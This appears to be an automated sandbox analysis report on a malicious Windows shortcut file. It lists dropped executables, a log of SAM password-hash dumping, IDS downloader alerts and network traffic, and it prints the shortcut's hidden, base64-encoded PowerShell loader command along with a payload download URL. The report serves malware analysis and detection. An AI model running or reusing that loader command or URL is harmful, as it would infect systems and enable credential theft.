Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_rm03u5iv.5ab.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_rx3anf3q.z2z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_tdzs0gof.paa.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_u3wtfgay.rnk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_zp340zth.nmn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\deviceId.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	37
Entropy (8bit):	4.229327351940021
Encrypted:	false
SSDEEP:	3:4yHbkT/dkcovn:dbkRsn
MD5:	17D74848A2AABEDAF9A3BF09D7CF3A2B
SHA1:	056C4F9329C07DD7A3414257E1D77D41D4C402C5
SHA-256:	AEF31441A868B517503CE23E6D663969A50CAC256CA3311CCD17EE1AE11D5C26
SHA-512:	8A0C39EACAEA374E904A931F97D8C32C1BABCB47763195979D93AEA366624B304F6B0B25CB8CBFDE5B56AA129CFC9B51B3BAA697149295A103A53D9E5139E580
Malicious:	false
Preview:	.63013372F6575A9D4EA29CB608798ED9..

C:\Windows\Temp\docsz

Download File

Process:	C:\Windows\Temp\myRdpService.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	271
Entropy (8bit):	4.959233174821663
Encrypted:	false
SSDEEP:	6:IwRJBYzRJBYlr8SJBY4U4GVjWIUE5dMnpqX:I8sRs8SD8jW3EvMpo
MD5:	09B25CAC0BFA90484337CCC8EF9DCD60
SHA1:	1BBF4858E3266F1E6B89B8A0A3D567CB2A30FA4A
SHA-256:	53DCA461E84E00AF9900DC80A07421B8BCF309D5A046A6317166315ED6FD1C49
SHA-512:	A5B08D0A86DFDE44A20C7454532705B24E9A065F43A9CC3F0B67841673B769CBF969A82BF464935B5AB3D8550D25FE17FBA56A259D06757F1783A52FCE090B65
Malicious:	false
Preview:	Administrator\|31d6cfe0d16ae931b73c59d7e0c089c0..Guest\|31d6cfe0d16ae931b73c59d7e0c089c0..DefaultAccount\|31d6cfe0d16ae931b73c59d7e0c089c0..WDAGUtilityAccount\|21A354058DFF20F7943C42B0FDF94216..user\|32ED87BDB5FDC5E9CBA88547376818D4..User1\|9D40E39ADEB5D56955BED3470DA6D02C..

C:\Windows\Temp\dp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.7179360295889174
Encrypted:	false
SSDEEP:	3:QnlVldGlVlil:QdUu
MD5:	A6850FB0659A548ACF3B99814BF23C93
SHA1:	690D23F93EEA833EB4D5B8D20F3938E25E64BB72
SHA-256:	38961B38E6AFD73A897F43E7513755EAE09B9605AB97E698F2201665F4CF96DB
SHA-512:	DD61B6C972655AEFD3BFA5BA493476644071354EA482F224FEB2F5BC0992B6DC59CB7918F0F41139B0D4E73848850A8070DB82BB0DC4915999E33CCA22FAA37E
Malicious:	false
Preview:	..1.9.2.0.x.1.0.8.0.....

C:\Windows\Temp\file

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8357376
Entropy (8bit):	6.871261170959167
Encrypted:	false
SSDEEP:	98304:QItEWBowFOHzb0sg6jsDNg4WNbpsDFnoDhno/S1w8s/I:QItDBowFOTbk6mNWNbpYtej1w8s/I
MD5:	E6C9E4ABDC9BACE6F54B1ED41622F54F
SHA1:	7FD64CA2D9718F31F05692279F428CB7B8EFF8C6
SHA-256:	2D285378BB1F24AA547EDB806FA18137127882F46EA1A3FA466F2645520233F1
SHA-512:	F1245224972CE79505D184DDE00A94B33D5FD12500A84C31A620BD208DA5913DD09AEC131F9C6A0E4F295F0F04FF9284667408DE209C3B552F25527FC90837FB
Malicious:	false
Preview:	L[......................A............................................... ..M. Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/...%.........v...................._...............Z.......Z...............Z.......[.......[......Shbi............QD..e.....Yf..........#....(..F..Q8...............A..........................................a..........................................A..Y...YA..U....a.......................q..................................)...q...A............!^............................./udyu...y&.......)..................!..a/l`o`fde..:..A....:..-..............!..aixes`udey.....I........................./se`u`..MF3..!^..I3...F.............A..A/e`u`........q...o...1{.............A.../qe`u`................{.............A..A/srsb........a.......o~.............A..A/sdmnb.......q.......u~.............A..C........................................................................................................................................................................................

C:\Windows\Temp\log_rdp_11122024_07.txt

Download File

Process:	C:\Windows\Temp\myRdpService.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	872
Entropy (8bit):	5.253718722159312
Encrypted:	false
SSDEEP:	12:npYSq5024x3soPbF90vaJiNPqoADw/PqbnBRbE8SbEq8jWjxrawpS8EA:450p8oPbFOvao0oADqPSBSYgjx+wE8n
MD5:	CF6B6A8A0E3A152F098CC37E058983DC
SHA1:	F26DD4FE8A65A0485154A8987C6D2A77764CDEFF
SHA-256:	1E1D44D02465E5A1C1E8DDC197BF02A276A988B201ABE0CA99490A3129749DF2
SHA-512:	E72F803F4F5BF011C444F7DBA24726708AD0FAF2391EDE32168FAD914A6DC36A8136554133DF59DC747FB7CE3A33F6736AFA8D9B7CFC10C93C1593D12CEB24E9
Malicious:	false
Preview:	19:00:01 - Internet connection..19:00:01 - Begin check server..19:00:07 - Begin connect..19:00:12 - BootKey: D6-AA-4D-99-DC-41-86-C3-63-A1-2C-89-7F-F8-5B-85..19:00:12 - Successfully accessed SAM hive...19:00:12 - Reading usernames and encrypted hashes.....19:00:12 - Administrator..19:00:12 - Guest..19:00:12 - DefaultAccount..19:00:12 - WDAGUtilityAccount..19:00:12 - user..19:00:12 - User1..19:00:12 - SAM_Resolution_1920x1080..19:00:13 - SAM_USER_Administrator\|31d6cfe0d16ae931b73c59d7e0c089c0..19:00:13 - SAM_USER_Guest\|31d6cfe0d16ae931b73c59d7e0c089c0..19:00:14 - SAM_USER_DefaultAccount\|31d6cfe0d16ae931b73c59d7e0c089c0..19:00:14 - SAM_USER_WDAGUtilityAccount\|21A354058DFF20F7943C42B0FDF94216..19:00:15 - SAM_USER_user\|32ED87BDB5FDC5E9CBA88547376818D4..19:00:15 - SAM_USER_User1\|9D40E39ADEB5D56955BED3470DA6D02C..19:00:32 - detect message PING..19:00:33 - PING..

C:\Windows\Temp\myRdpService.exe

Download File

Process:	C:\Windows\Temp\svczHost.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	9429504
Entropy (8bit):	6.889775220697302
Encrypted:	false
SSDEEP:	98304:mfhsbOItDNUaBVthhcT/Fe5Yqa5z1bRT6G0EYd+Tj:HbO8N9BH4ToYqopbRT6GLpj
MD5:	5641F3A5B9787F23D3D34F0D9F791B7A
SHA1:	021867C55B5724C28981F58A9A38DBE298057793
SHA-256:	5744321DFC2240023EF89A8D3A4B57C635FEDFEF0E265F1C8F7971AA9F635C34
SHA-512:	3E96E1675C96A0CEAD3E7294128CB742D7813F65AB55F907D0F447B966BCD086FB533D25D710E9F9CC5C1781D1819C2F2C86DEBBD94A6A901C9A49AB30430E7B
Malicious:	true
Joe Sandbox View:	Filename: 3y37oMIUy6.lnk, Detection: malicious, Browse Filename: m9c7iq9nzP.lnk, Detection: malicious, Browse Filename: WXahq3ZEss.lnk, Detection: malicious, Browse Filename: 0A3NB8ot11.lnk, Detection: malicious, Browse Filename: rRtGI3L0ca.lnk, Detection: malicious, Browse Filename: L0jeOoavu4.lnk, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........6 ..Xs..Xs..Xs...s..Xs..Yr..Xs..Ys,.Xs..[r..Xs..\r..Xs..]r..Xs..\r..Xs..Xs..Xs..]r.Xs..Xr..Xs..Zr..XsRich..Xs................PE..d.....Xg.........."....).>P...A................@.............................@............`...................................................\|............................ ..L...............................(...P...@.............l..............................text....G.......H.................. ..`.managedX.C..`....C..L.............. ..`hydrated`....`P..........................rdata..`t9...l..v9..BP.............@..@.data....x..........................@....pdata...............>..............@..@.rsrc..............................@..@.reloc..L.... .....................@..B................................................................................................................................................................

C:\Windows\Temp\regBackup.reg

Download File

Process:	C:\Windows\regedit.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	5492
Entropy (8bit):	3.2564408602149646
Encrypted:	false
SSDEEP:	96:0PVJqMXWMRUYSFd5YtU6W66zpVwkP9Odgd8zkFJdlzOkJdB0u1Jd8ui4c4d8zB/H:sVJqgUZ/5+g7P94RgFx9R43Zy1TbZH56
MD5:	A766DECEF71813234AAF41DB4EF5086E
SHA1:	564473B1CB74ED13E820C62F30642836B8D983C6
SHA-256:	8CA780CD4F6488CBBB1B6999D935B4F8352B36B3E2E1E54301875C6483A87535
SHA-512:	C3CF7BADAD40C63C0479DD7A50762968038A9D402E8AE34697F30D09E206D5D090270013504B801EECB82D234280535E21629A6F23F1F04CE1CF2D3EF0C37051
Malicious:	true
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.Y.S.T.E.M.\.C.u.r.r.e.n.t.C.o.n.t.r.o.l.S.e.t.\.S.e.r.v.i.c.e.s.\.T.e.r.m.S.e.r.v.i.c.e.].....".D.e.p.e.n.d.O.n.S.e.r.v.i.c.e.".=.h.e.x.(.7.).:.5.2.,.0.0.,.5.0.,.0.0.,.4.3.,.0.0.,.5.3.,.0.0.,.5.3.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.....".D.e.s.c.r.i.p.t.i.o.n.".=.".@.%.S.y.s.t.e.m.R.o.o.t.%.\.\.S.y.s.t.e.m.3.2.\.\.t.e.r.m.s.r.v...d.l.l.,.-.2.6.7.".....".D.i.s.p.l.a.y.N.a.m.e.".=.".@.%.S.y.s.t.e.m.R.o.o.t.%.\.\.S.y.s.t.e.m.3.2.\.\.t.e.r.m.s.r.v...d.l.l.,.-.2.6.8.".....".E.r.r.o.r.C.o.n.t.r.o.l.".=.d.w.o.r.d.:.0.0.0.0.0.0.0.1.....".F.a.i.l.u.r.e.A.c.t.i.o.n.s.".=.h.e.x.:.8.0.,.5.1.,.0.1.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.3.,.0.0.,.0.0.,.0.0.,.1.4.,.0.0.,.0.0.,.\..... . .0.0.,.0.1.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.,.0.1.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.....".I.m.a.g.e.P.a.t.h.".=.h.e.x.

C:\Windows\Temp\svczHost.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8357376
Entropy (8bit):	6.871261170959167
Encrypted:	false
SSDEEP:	49152:gAolapw+tVy4CZ79cORdCVhYWXnMdI7pz1YoSBrIc7ywciqQMmLdp1sVOFJHluxx:pgacEZyBpu9r/derR2hs/OLYGMIU9+
MD5:	9298A0077E8353244A38CAEFE43AF4CB
SHA1:	155D0C93E1BA7DD7B22228BEC1A030FAE0678398
SHA-256:	B1D69CBC0A2D13B89500D37726AD9E01817C8890262E3CE4A561F82B63708B9A
SHA-512:	34CD8853EEBD3E54393726DF668D5F620EE6AC0FD5967F91A26B2E5F4186CB403A2197D9DE497CB93B3498EBC0E2DF098D122376E0276A15F1D412C7D874D87A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w....................^...............[.......[...............[.......Z.......Z......Rich............PE..d.....Xg.........."....)..G..P9...............@..........................................`..........................................@..X...X@..T....`.......................p..................................(...p...@............ _..............................text...x'.......(.................. ..`.managed..;..@....;..,.............. ..`hydratedx.....H..........................rdata..LG2.. _..H2...G.............@..@.data........p...n...0z.............@....pdata................z.............@..@.rsrc........`.......n..............@..@.reloc.......p.......t..............@..B........................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\Temp\svczHost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.498593025747649
Encrypted:	false
SSDEEP:	3:eDLpHWfPdBEyQOKxxTKy:eDLp2f0yQdTKy
MD5:	B5071D787252CEC7186269F632A58FBB
SHA1:	EF32501637907A53FC3C82B1D16617586C61102B
SHA-256:	B76DAB97EF8C83BA60D691DDF0EECF89DC5ED3A978A01525399DE1167945899C
SHA-512:	AED6DBFB19B3BB16CC98C82631A453C2577907A274EC9E7123CCCCEDEDF069DE4614EE7AC03A8DDF74C11F4314967408D76A7B5143E069DAC15B1099162A2BC9
Malicious:	false
Preview:	Begin download https://cocomethode.de/StaticFile/RdpService/74..

Static File Info

General

File type:	MS Windows shortcut, Has Working directory, Has command line arguments, Icon number=347, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Entropy (8bit):	9.431881165133327E-4
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	Cj3OWJHzls.lnk
File size:	38'797'312 bytes
MD5:	fdc2c40b78407b62b2e386f9222439ad
SHA1:	2960eed9741f669ed669cbb5084ec97774894054
SHA256:	422a27cd27fbc332a9d40463a0fae26d74049b6313931451de1c7d8b90b50586
SHA512:	f2ab0092457b25a592b9a2f44ef4e5c800298040f5878085769d1e8c635167c711446aa57c8c292b2e6f4c950d3e7339ecb861960abba1af7039e5298ac89bfd
SSDEEP:	96:8iK8rlMvomw/1LcGqIz2lE5hgcZFLWBcPhBGflwOh:8iK8rlMvomkBLwcPGfWO
TLSH:	EB87CF126AE710C9F16757751FE8F8FF477AE4221A2EB6B51001D341CB357C88A63AB4
File Content Preview:	L..................F.B..................................[.......................~./.v. ./.k. .".P.o.w.e.r.S.H.e.l.l...E.x.e. .-.W.I.N.D.o.W.S.t.y.L.e. .h.I.d.D.e.n. .-.e.n.c.O.d.E.d.C.o.m.M.A.N.d. .".U.w.B.0.A.G.E.A.c.g.B.0.A.C.0.A.U.A.B.y.A.G.8.A.Y.w.B.l

File Icon


Icon Hash:	69e9a9a9a3a3a1a5

Static Windows Shortcut Info

General
Relative Path:
Command Line Argument:	/v /k "PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="" && exit
Icon location:	%SystemRoot%\System32\imageres.dll

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-11T12:58:17.799303+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	49740	104.21.1.51	443	TCP
2024-12-11T12:58:19.871198+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	49742	104.21.1.51	443	TCP
2024-12-11T12:58:22.078065+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	49744	104.21.1.51	443	TCP
2024-12-11T12:58:44.131632+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	49757	104.21.1.51	443	TCP
2024-12-11T12:59:50.014157+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.20	49763	104.21.1.51	443	TCP
2024-12-11T13:00:52.854166+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.20	49768	104.21.1.51	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 12:58:14.241691113 CET	49739	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:14.241708994 CET	443	49739	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:14.241899967 CET	49739	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:14.251053095 CET	49739	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:14.251061916 CET	443	49739	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:14.490991116 CET	443	49739	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:14.491556883 CET	49739	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:14.497581005 CET	49739	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:14.497626066 CET	443	49739	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:14.497881889 CET	443	49739	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:14.505426884 CET	49739	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:14.550204039 CET	443	49739	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:15.370050907 CET	443	49739	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:15.370182991 CET	443	49739	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:15.370215893 CET	443	49739	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:15.370393991 CET	49739	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:15.370404959 CET	443	49739	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:15.370558977 CET	49739	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:15.370724916 CET	49739	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:15.594955921 CET	443	49739	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:15.595159054 CET	443	49739	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:15.595472097 CET	49739	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:15.601686954 CET	49739	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:16.715615034 CET	49740	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:16.715636015 CET	443	49740	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:16.715838909 CET	49740	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:16.716114044 CET	49740	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:16.716124058 CET	443	49740	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:16.949084044 CET	443	49740	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:16.950562954 CET	49740	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:16.950575113 CET	443	49740	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:17.799283028 CET	443	49740	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:17.799463987 CET	443	49740	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:17.799559116 CET	443	49740	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:17.799633980 CET	49740	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:17.799691916 CET	443	49740	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:17.799851894 CET	443	49740	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:17.800045967 CET	49740	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:17.814024925 CET	49740	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:17.928555012 CET	49741	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:17.928634882 CET	443	49741	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:17.928893089 CET	49741	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:17.929040909 CET	49741	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:17.929074049 CET	443	49741	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:18.165507078 CET	443	49741	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:18.166646957 CET	49741	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:18.166660070 CET	443	49741	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:18.166825056 CET	49741	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:18.166835070 CET	443	49741	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:18.751275063 CET	443	49741	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:18.751317024 CET	443	49741	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:18.751429081 CET	49741	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:18.751703024 CET	49741	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:18.785497904 CET	49742	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:18.785516024 CET	443	49742	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:18.785679102 CET	49742	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:18.786006927 CET	49742	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:18.786014080 CET	443	49742	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:19.019119024 CET	443	49742	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:19.020184994 CET	49742	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:19.020193100 CET	443	49742	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:19.871174097 CET	443	49742	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:19.871340990 CET	443	49742	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:19.871443987 CET	443	49742	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:19.871541023 CET	49742	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:19.871586084 CET	443	49742	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:19.871646881 CET	443	49742	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:19.871740103 CET	49742	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:19.871929884 CET	49742	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:19.888204098 CET	49742	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:19.909297943 CET	49743	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:19.909382105 CET	443	49743	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:19.909615040 CET	49743	443	192.168.11.20	104.21.1.51
